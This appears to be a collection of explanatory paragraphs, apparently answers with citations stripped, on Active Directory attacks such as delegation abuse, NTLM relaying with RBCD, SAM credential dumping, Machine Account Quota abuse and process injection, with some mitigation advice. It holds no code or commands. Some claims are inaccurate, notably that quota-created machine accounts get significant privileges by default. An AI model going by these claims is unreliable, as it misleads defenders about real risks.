Enabling unconstrained delegation in Active Directory environments can lead to critical security vulnerabilities. Unconstrained delegation allows a service to authenticate to any other service on behalf of a user, making it a prime target for attackers if a system with such delegation is compromised . This can facilitate credential theft and lateral movement across the network. Attackers can also abuse this to extract Kerberos tickets and impersonate high-privilege accounts without requiring the actual password, potentially leading to a domain-wide compromise . Moreover, it can be challenging to detect, as the activity can be masked amongst legitimate operations, leaving organizations highly vulnerable .
Mitigating delegation abuse in an organization can be achieved through several strategies. First, auditing the use of delegation across domain controllers is essential to identify and remove unnecessary delegations or revert misconfigured settings. Ensuring that privileged account delegation is minimized and that only necessary accounts are allowed such permissions can reduce potential risks . Implementing monitoring solutions to detect unusual account activities associated with delegation settings can provide real-time alerts for suspicious behavior. Additionally, applying principle of least privilege and making use of security features such as Privileged Access Workstations (PAWs) for administrators can further mitigate risks .
Understanding and monitoring for process injection techniques can significantly enhance an organization's security posture by enabling early detection and response to potential threats. By identifying unusual process behavior, such as unauthorized memory allocation or the use of API functions like VirtualAllocEx and CreateRemoteThread, security teams can detect attempts at injecting malicious code before it can execute . Deploying endpoint detection and response (EDR) solutions that recognize the signatures and patterns of common injection techniques can help in identifying and mitigating these threats swiftly . Moreover, regular training and updates for security personnel ensure that they are equipped to recognize the latest techniques and thus better protect the organization from such exploits .
Combining NTLM relaying with resource-based constrained delegation (RBCD) presents severe security risks within an Active Directory environment. NTLM relaying allows attackers to redirect authentication attempts, typically capturing them in man-in-the-middle scenarios to access other resources with those credentials. When coupled with RBCD, attackers can leverage relayed credentials to impersonate users on systems configured for resource-based delegation, thus escalating privileges without needing direct access to an account's credentials . This introduces new attack vectors for lateral movement and domain compromise, effectively bypassing traditional security measures like firewall rules and network segmentation .
Kerberos delegation abuse can lead to significant security compromises within an Active Directory environment by enabling attackers to impersonate service accounts, thereby gaining unauthorized access to resources. Specifically, resource-based constrained delegation (RBCD) can be manipulated to allow an attacker to specify which users can act on behalf of others, thus escalating their privileges and possibly taking over critical systems . Furthermore, attackers can abuse constrained delegation to perform actions as other trusted accounts, effectively bypassing many of the security boundaries that a domain might have in place .
The SAM (Security Account Manager) database is a critical component in Windows that stores hashed representations of user passwords. Credential dumping attacks, such as using Mimikatz or secretsdump.py, target the SAM to extract these hashes without modifying the database or alerting monitoring systems . The risks associated with credential dumping are significant, as attackers with access to password hashes can conduct pass-the-hash or password cracking attacks, gaining unauthorized access to system accounts, escalating privileges, and potentially compromising the entire network .
Abusing the Machine Account Quota (MAQ) allows attackers to create a large number of new machine accounts in Active Directory without administrator consent if the MAQ is not properly configured or monitored. As these accounts are often given significant privileges by default, attackers can leverage them to escalate privileges, establish persistence, or conduct lateral movements in the network . Moreover, excessive machine creation activities may go unnoticed in environments where logging and monitoring are insufficient, thus compromising the integrity and security of the directory .
Process injection techniques often involve using low-level Windows API functions to allocate memory, write shellcode, and execute it within the context of a legitimate process, thereby bypassing security mechanisms. Common methods include process hollowing, where the legitimate contents of a process are replaced with malicious code, and using functions like VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread to inject and execute malicious payloads within the memory space of another process . By performing these actions within trusted processes like 'svchost.exe,' attackers can evade detection by security scanners looking for anomalies in process behavior .